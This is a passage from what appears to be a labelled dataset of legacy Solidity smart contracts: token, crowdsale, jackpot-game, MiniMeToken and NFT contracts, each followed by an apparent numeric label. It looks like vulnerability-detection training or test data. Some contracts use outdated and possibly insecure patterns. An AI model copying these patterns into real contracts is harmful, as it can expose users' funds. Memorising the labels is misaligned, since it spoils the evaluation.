function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Bitland is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function Bitland() public {
symbol = "BIL";
name = "BitLand";
decimals = 18;
_totalSupply = 20000000000000000000000000000;
balances[0x0A106e8eFA3747d077844e1d985EaF6f008Fe914] = _totalSupply;
emit Transfer(address(0), 0x0A106e8eFA3747d077844e1d985EaF6f008Fe914, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,439 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract CrowdsaleCryptoMindSR {
address public beneficiary;
uint public fundingGoal;
uint public MaxToken;
uint public amountRaised;
uint public deadline;
uint public StartCrowdsale;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event FundTransfer(address backer, uint amount, bool isContribution);
function CrowdsaleCryptoMindSR() {
beneficiary = 0x41A2fe9687Ae815176166616D222B48DA6a36546;
fundingGoal = 100 * 1 ether;
MaxToken = 300 * 1 ether;
StartCrowdsale = 1507766400;
deadline = 1508457600;
price = 1000;
tokenReward = token(0xD08653Ee276428C8f51631F0a8025c2BEDFD53dE);
}
function () payable {
require(!crowdsaleClosed);
require(now > StartCrowdsale);
require(amountRaised + msg.value > amountRaised);
require(amountRaised + msg.value < MaxToken);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount * price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 0 | 263 |
pragma solidity ^0.4.23;
contract IERC20Token {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract SafeMath {
constructor() public {
}
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(a >= b);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Token is IERC20Token, SafeMath {
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(balances[msg.sender] >= _value);
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowed[_owner][_spender];
}
}
contract Bdoks is ERC20Token {
uint256 public mintTotal;
address public owner;
event Mint(address _toAddress, uint256 _amount);
constructor(address _owner) public {
require(address(0) != _owner);
name = "Bdoks";
symbol = "BDX";
decimals = 18;
totalSupply = 1 * 100 *1000 * 10**uint256(decimals);
mintTotal = 0;
owner = _owner;
}
function mint (address _toAddress, uint256 _amount) public returns (bool) {
require(msg.sender == owner);
require(address(0) != _toAddress);
require(_amount >= 0);
require( safeAdd(_amount,mintTotal) <= totalSupply);
mintTotal = safeAdd(_amount, mintTotal);
balances[_toAddress] = safeAdd(balances[_toAddress], _amount);
emit Mint(_toAddress, _amount);
return (true);
}
function() public payable {
revert();
}
} | 1 | 2,131 |
pragma solidity ^0.4.21;
contract GameState{
uint256[3] RoundTimes = [(5 minutes), (20 minutes), (10 minutes)];
uint256[3] NextRound = [1,2,0];
uint256 public CurrentGame = 0;
uint256 public Timestamp = 0;
function Timer() internal view returns (bool){
if (block.timestamp < Timestamp){
return (true);
}
return false;
}
function Start() internal {
Timestamp = block.timestamp + RoundTimes[CurrentGame];
}
function Next(bool StartNow) internal {
uint256 NextRoundBuffer = NextRound[CurrentGame];
if (StartNow){
Timestamp = Timestamp + RoundTimes[NextRoundBuffer];
}
else{
}
CurrentGame = NextRoundBuffer;
}
}
contract ServiceStation is GameState{
uint256 public Votes = 0;
uint256 public constant VotesNecessary = 6;
uint256 public constant devFee = 500;
address owner;
address constant fee_address = 0x3323075B8D3c471631A004CcC5DAD0EEAbc5B4D1;
event NewVote(uint256 AllVotes);
event VoteStarted();
event ItemBought(uint256 ItemID, address OldOwner, address NewOwner, uint256 NewPrice, uint256 FlipAmount);
event JackpotChange(uint256 HighJP, uint256 LowJP);
event OutGassed(bool HighGame, uint256 NewGas, address WhoGassed, address NewGasser);
event Paid(address Paid, uint256 Amount);
modifier OnlyDev(){
require(msg.sender==owner);
_;
}
modifier OnlyState(uint256 id){
require (CurrentGame == id);
_;
}
modifier OnlyStateOR(uint256 id, uint256 id2){
require (CurrentGame == id || CurrentGame == id2);
_;
}
modifier NoContract(){
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size == 0);
_;
}
function ServiceStation() public {
owner = msg.sender;
}
function Vote() public NoContract OnlyStateOR(0,2) {
bool StillOpen;
if (CurrentGame == 2){
StillOpen = Timer();
if (StillOpen){
revert();
}
else{
Next(false);
}
}
StillOpen = Timer();
if (!StillOpen){
emit VoteStarted();
Start();
Votes=0;
}
if ((Votes+1)>= VotesNecessary){
GameStart();
}
else{
Votes++;
}
emit NewVote(Votes);
}
function DevForceOpen() public NoContract OnlyState(0) OnlyDev {
emit NewVote(VotesNecessary);
Timestamp = now;
GameStart();
}
function GameStart() internal OnlyState(0){
RoundNumber++;
Votes = 0;
Withdraw();
Next(true);
TotalPot = address(this).balance;
}
uint256 RoundNumber = 0;
uint256 constant MaxItems = 11;
uint256 constant StartPrice = (0.005 ether);
uint256 constant PriceIncrease = 9750;
uint256 constant PotPaidTotal = 8000;
uint256 constant PotPaidHigh = 9000;
uint256 constant PreviousPaid = 6500;
uint256 public TotalPot;
mapping(address => bool) LowJackpot;
mapping(address => uint256) HighJackpot;
mapping(address => uint256) CurrentRound;
address public LowJackpotHolder;
address public HighJackpotHolder;
uint256 CurrTimeHigh;
uint256 CurrTimeLow;
uint256 public LowGasAmount;
uint256 public HighGasAmount;
struct Item{
address holder;
uint256 price;
}
mapping(uint256 => Item) Market;
function GetJackpots() public view returns (uint256, uint256){
uint256 PotPaidRound = (TotalPot * PotPaidTotal)/10000;
uint256 HighJP = (PotPaidRound * PotPaidHigh)/10000;
uint256 LowJP = (PotPaidRound * (10000 - PotPaidHigh))/10000;
return (HighJP, LowJP);
}
function GetItemInfo(uint256 ID) public view returns (uint256, address){
Item memory targetItem = Market[ID];
return (targetItem.price, targetItem.holder);
}
function BuyItem(uint256 ID) public payable NoContract OnlyState(1){
require(ID <= MaxItems);
bool StillOpen = Timer();
if (!StillOpen){
revert();
}
uint256 price = Market[ID].price;
if (price == 0){
price = StartPrice;
}
require(msg.value >= price);
if (msg.value > price){
msg.sender.transfer(msg.value-price);
}
uint256 Fee = (price * (devFee))/10000;
uint256 Left = price - Fee;
fee_address.transfer(Fee);
if (price != StartPrice){
address target = Market[ID].holder;
uint256 payment = (price * PreviousPaid)/10000;
target.transfer (payment);
if (target != msg.sender){
if (HighJackpot[target] >= 1){
HighJackpot[target] = HighJackpot[target] - 1;
}
}
TotalPot = TotalPot + Left - payment;
emit ItemBought(ID, target, msg.sender, (price * (PriceIncrease + 10000))/10000, payment);
}
else{
TotalPot = TotalPot + Left;
emit ItemBought(ID, address(0x0), msg.sender, (price * (PriceIncrease + 10000))/10000, 0);
}
uint256 PotPaidRound = (TotalPot * PotPaidTotal)/10000;
emit JackpotChange((PotPaidRound * PotPaidHigh)/10000, (PotPaidRound * (10000 - PotPaidHigh))/10000);
LowJackpot[msg.sender] = true;
price = (price * (PriceIncrease + 10000))/10000;
if (CurrentRound[msg.sender] != RoundNumber){
if (HighJackpot[msg.sender] != 1){
HighJackpot[msg.sender] = 1;
}
CurrentRound[msg.sender] = RoundNumber;
}
else{
HighJackpot[msg.sender] = HighJackpot[msg.sender] + 1;
}
Market[ID].holder = msg.sender;
Market[ID].price = price;
}
function GetGameType(address targ) public view returns (bool, bool){
if (CurrentRound[targ] != RoundNumber){
return (false,false);
}
else{
if (HighJackpot[targ] > 0){
return (true, true);
}
else{
if (LowJackpot[targ]){
return (true, false);
}
}
}
return (false, false);
}
function BurnGas() public NoContract OnlyStateOR(2,1) {
bool StillOpen;
if (CurrentGame == 1){
StillOpen = Timer();
if (!StillOpen){
Next(true);
}
else{
revert();
}
}
StillOpen = Timer();
if (!StillOpen){
Next(true);
Withdraw();
return;
}
bool CanPlay;
bool IsPremium;
(CanPlay, IsPremium) = GetGameType(msg.sender);
require(CanPlay);
uint256 AllPot = (TotalPot * PotPaidTotal)/10000;
uint256 PotTarget;
uint256 timespent;
uint256 payment;
if (IsPremium){
PotTarget = (AllPot * PotPaidHigh)/10000;
if (HighGasAmount == 0 || tx.gasprice < HighGasAmount){
if (HighGasAmount == 0){
emit OutGassed(true, tx.gasprice, address(0x0), msg.sender);
}
else{
timespent = now - CurrTimeHigh;
payment = (PotTarget * timespent) / RoundTimes[2];
HighJackpotHolder.transfer(payment);
emit OutGassed(true, tx.gasprice, HighJackpotHolder, msg.sender);
emit Paid(HighJackpotHolder, payment);
}
HighGasAmount = tx.gasprice;
CurrTimeHigh = now;
HighJackpotHolder = msg.sender;
}
}
else{
PotTarget = (AllPot * (10000 - PotPaidHigh)) / 10000;
if (LowGasAmount == 0 || tx.gasprice < LowGasAmount){
if (LowGasAmount == 0){
emit OutGassed(false, tx.gasprice, address(0x0), msg.sender);
}
else{
timespent = now - CurrTimeLow;
payment = (PotTarget * timespent) / RoundTimes[2];
LowJackpotHolder.transfer(payment);
emit OutGassed(false, tx.gasprice, LowJackpotHolder, msg.sender);
emit Paid(LowJackpotHolder, payment);
}
LowGasAmount = tx.gasprice;
CurrTimeLow = now;
LowJackpotHolder = msg.sender;
}
}
}
function Withdraw() public NoContract OnlyStateOR(0,2){
bool gonext = false;
if (CurrentGame == 2){
bool StillOpen;
StillOpen = Timer();
if (!StillOpen){
gonext = true;
}
else{
revert();
}
}
uint256 timespent;
uint256 payment;
uint256 AllPot = (TotalPot * PotPaidTotal)/10000;
uint256 PotTarget;
if (LowGasAmount != 0){
PotTarget = (AllPot * (10000 - PotPaidHigh))/10000;
timespent = Timestamp - CurrTimeLow;
payment = (PotTarget * timespent) / RoundTimes[2];
LowJackpotHolder.transfer(payment);
emit Paid(LowJackpotHolder, payment);
}
if (HighGasAmount != 0){
PotTarget = (AllPot * PotPaidHigh)/10000;
timespent = Timestamp - CurrTimeHigh;
payment = (PotTarget * timespent) / RoundTimes[2];
HighJackpotHolder.transfer(payment);
emit Paid(HighJackpotHolder, payment);
}
LowGasAmount = 0;
HighGasAmount = 0;
uint8 id;
for (id=0; id<MaxItems; id++){
Market[id].price=0;
}
if (gonext){
Next(true);
}
}
function() payable{
}
} | 0 | 1,180 |
pragma solidity ^0.4.13;
contract TokenController {
function proxyPayment(address _owner) payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) returns(bool);
function onApprove(address _owner, address _spender, uint _amount)
returns(bool);
}
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() { controller = msg.sender;}
function changeController(address _newController) onlyController {
controller = _newController;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data);
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.1';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount) return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) internal returns (uint) {
return a < b ? a : b;
}
function () payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MMR is MiniMeToken {
function MMR(address _tokenFactory)
MiniMeToken(
_tokenFactory,
0x0,
0,
"Roman Token",
18,
"MMR",
true
) {}
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
} | 1 | 3,933 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC721 {
function implementsERC721() public pure returns (bool);
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
}
contract SampleStorage is Ownable {
struct Sample {
string ipfsHash;
uint rarity;
}
mapping (uint32 => Sample) public sampleTypes;
uint32 public numOfSampleTypes;
uint32 public numOfCommon;
uint32 public numOfRare;
uint32 public numOfLegendary;
function addNewSampleType(string _ipfsHash, uint _rarityType) public onlyOwner {
if (_rarityType == 0) {
numOfCommon++;
} else if (_rarityType == 1) {
numOfRare++;
} else if(_rarityType == 2) {
numOfLegendary++;
} else if(_rarityType == 3) {
numOfCommon++;
}
sampleTypes[numOfSampleTypes] = Sample({
ipfsHash: _ipfsHash,
rarity: _rarityType
});
numOfSampleTypes++;
}
function getType(uint _randomNum) public view returns (uint32) {
uint32 range = 0;
if (_randomNum > 0 && _randomNum < 600) {
range = 600 / numOfCommon;
return uint32(_randomNum) / range;
} else if(_randomNum >= 600 && _randomNum < 900) {
range = 300 / numOfRare;
return uint32(_randomNum) / range;
} else {
range = 100 / numOfLegendary;
return uint32(_randomNum) / range;
}
}
}
contract Jingle is Ownable, ERC721 {
struct MetaInfo {
string name;
string author;
}
mapping (uint => address) internal tokensForOwner;
mapping (uint => address) internal tokensForApproved;
mapping (address => uint[]) internal tokensOwned;
mapping (uint => uint) internal tokenPosInArr;
mapping(uint => uint[]) internal samplesInJingle;
mapping(uint => MetaInfo) public jinglesInfo;
mapping(bytes32 => bool) public uniqueJingles;
mapping(uint => uint8[]) public soundEffects;
mapping(uint => uint8[20]) public settings;
uint public numOfJingles;
address public cryptoJingles;
Marketplace public marketplaceContract;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event EffectAdded(uint indexed jingleId, uint8[] effectParams);
event Composed(uint indexed jingleId, address indexed owner, uint32[5] samples, uint32[5] jingleTypes,
string name, string author, uint8[20] settings);
modifier onlyCryptoJingles() {
require(msg.sender == cryptoJingles);
_;
}
function transfer(address _to, uint256 _jingleId) public {
require(tokensForOwner[_jingleId] != 0x0);
require(tokensForOwner[_jingleId] == msg.sender);
tokensForApproved[_jingleId] = 0x0;
removeJingle(msg.sender, _jingleId);
addJingle(_to, _jingleId);
Approval(msg.sender, 0, _jingleId);
Transfer(msg.sender, _to, _jingleId);
}
function approve(address _to, uint256 _jingleId) public {
require(tokensForOwner[_jingleId] != 0x0);
require(ownerOf(_jingleId) == msg.sender);
require(_to != msg.sender);
if (_getApproved(_jingleId) != 0x0 || _to != 0x0) {
tokensForApproved[_jingleId] = _to;
Approval(msg.sender, _to, _jingleId);
}
}
function transferFrom(address _from, address _to, uint256 _jingleId) public {
require(tokensForOwner[_jingleId] != 0x0);
require(_getApproved(_jingleId) == msg.sender);
require(ownerOf(_jingleId) == _from);
require(_to != 0x0);
tokensForApproved[_jingleId] = 0x0;
removeJingle(_from, _jingleId);
addJingle(_to, _jingleId);
Approval(_from, 0, _jingleId);
Transfer(_from, _to, _jingleId);
}
function approveAndSell(uint _jingleId, uint _amount) public {
approve(address(marketplaceContract), _jingleId);
marketplaceContract.sell(msg.sender, _jingleId, _amount);
}
function composeJingle(address _owner, uint32[5] jingles,
uint32[5] jingleTypes, string name, string author, uint8[20] _settings) public onlyCryptoJingles {
uint _jingleId = numOfJingles;
uniqueJingles[keccak256(jingles)] = true;
tokensForOwner[_jingleId] = _owner;
tokensOwned[_owner].push(_jingleId);
samplesInJingle[_jingleId] = jingles;
settings[_jingleId] = _settings;
tokenPosInArr[_jingleId] = tokensOwned[_owner].length - 1;
if (bytes(author).length == 0) {
author = "Soundtoshi Nakajingles";
}
jinglesInfo[numOfJingles] = MetaInfo({
name: name,
author: author
});
Composed(numOfJingles, _owner, jingles, jingleTypes,
name, author, _settings);
numOfJingles++;
}
function addSoundEffect(uint _jingleId, uint8[] _effectParams) external {
require(msg.sender == ownerOf(_jingleId));
soundEffects[_jingleId] = _effectParams;
EffectAdded(_jingleId, _effectParams);
}
function implementsERC721() public pure returns (bool) {
return true;
}
function totalSupply() public view returns (uint256) {
return numOfJingles;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return tokensOwned[_owner].length;
}
function ownerOf(uint256 _jingleId) public view returns (address) {
return tokensForOwner[_jingleId];
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
return tokensOwned[_owner][_index];
}
function getSamplesForJingle(uint _jingleId) external view returns(uint[]) {
return samplesInJingle[_jingleId];
}
function getAllJingles(address _owner) external view returns(uint[]) {
return tokensOwned[_owner];
}
function getMetaInfo(uint _jingleId) external view returns(string, string) {
return (jinglesInfo[_jingleId].name, jinglesInfo[_jingleId].author);
}
function _getApproved(uint _jingleId) internal view returns (address) {
return tokensForApproved[_jingleId];
}
function addJingle(address _owner, uint _jingleId) internal {
tokensForOwner[_jingleId] = _owner;
tokensOwned[_owner].push(_jingleId);
tokenPosInArr[_jingleId] = tokensOwned[_owner].length - 1;
}
function removeJingle(address _owner, uint _jingleId) internal {
uint length = tokensOwned[_owner].length;
uint index = tokenPosInArr[_jingleId];
uint swapToken = tokensOwned[_owner][length - 1];
tokensOwned[_owner][index] = swapToken;
tokenPosInArr[swapToken] = index;
delete tokensOwned[_owner][length - 1];
tokensOwned[_owner].length--;
}
function setCryptoJinglesContract(address _cryptoJingles) public onlyOwner {
require(cryptoJingles == 0x0);
cryptoJingles = _cryptoJingles;
}
function setMarketplaceContract(address _marketplace) public onlyOwner {
require(address(marketplaceContract) == 0x0);
marketplaceContract = Marketplace(_marketplace);
}
}
contract Sample is Ownable {
mapping (uint => address) internal tokensForOwner;
mapping (address => uint[]) internal tokensOwned;
mapping (uint => uint) internal tokenPosInArr;
mapping (uint => uint32) public tokenType;
uint public numOfSamples;
address public cryptoJingles;
address public sampleRegistry;
SampleStorage public sampleStorage;
event Mint(address indexed _to, uint256 indexed _tokenId);
modifier onlyCryptoJingles() {
require(msg.sender == cryptoJingles);
_;
}
function Sample(address _sampleStorage) public {
sampleStorage = SampleStorage(_sampleStorage);
}
function mint(address _owner, uint _randomNum) public onlyCryptoJingles {
uint32 sampleType = sampleStorage.getType(_randomNum);
addSample(_owner, sampleType, numOfSamples);
Mint(_owner, numOfSamples);
numOfSamples++;
}
function mintForSampleRegitry(address _owner, uint32 _type) public {
require(msg.sender == sampleRegistry);
addSample(_owner, _type, numOfSamples);
Mint(_owner, numOfSamples);
numOfSamples++;
}
function removeSample(address _owner, uint _sampleId) public onlyCryptoJingles {
uint length = tokensOwned[_owner].length;
uint index = tokenPosInArr[_sampleId];
uint swapToken = tokensOwned[_owner][length - 1];
tokensOwned[_owner][index] = swapToken;
tokenPosInArr[swapToken] = index;
delete tokensOwned[_owner][length - 1];
tokensOwned[_owner].length--;
tokensForOwner[_sampleId] = 0x0;
}
function getSamplesForOwner(address _owner) public constant returns (uint[]) {
return tokensOwned[_owner];
}
function getTokenType(uint _sampleId) public constant returns (uint) {
return tokenType[_sampleId];
}
function isTokenOwner(uint _tokenId, address _user) public constant returns(bool) {
return tokensForOwner[_tokenId] == _user;
}
function getAllSamplesForOwner(address _owner) public constant returns(uint[]) {
uint[] memory samples = tokensOwned[_owner];
uint[] memory usersSamples = new uint[](samples.length * 2);
uint j = 0;
for(uint i = 0; i < samples.length; ++i) {
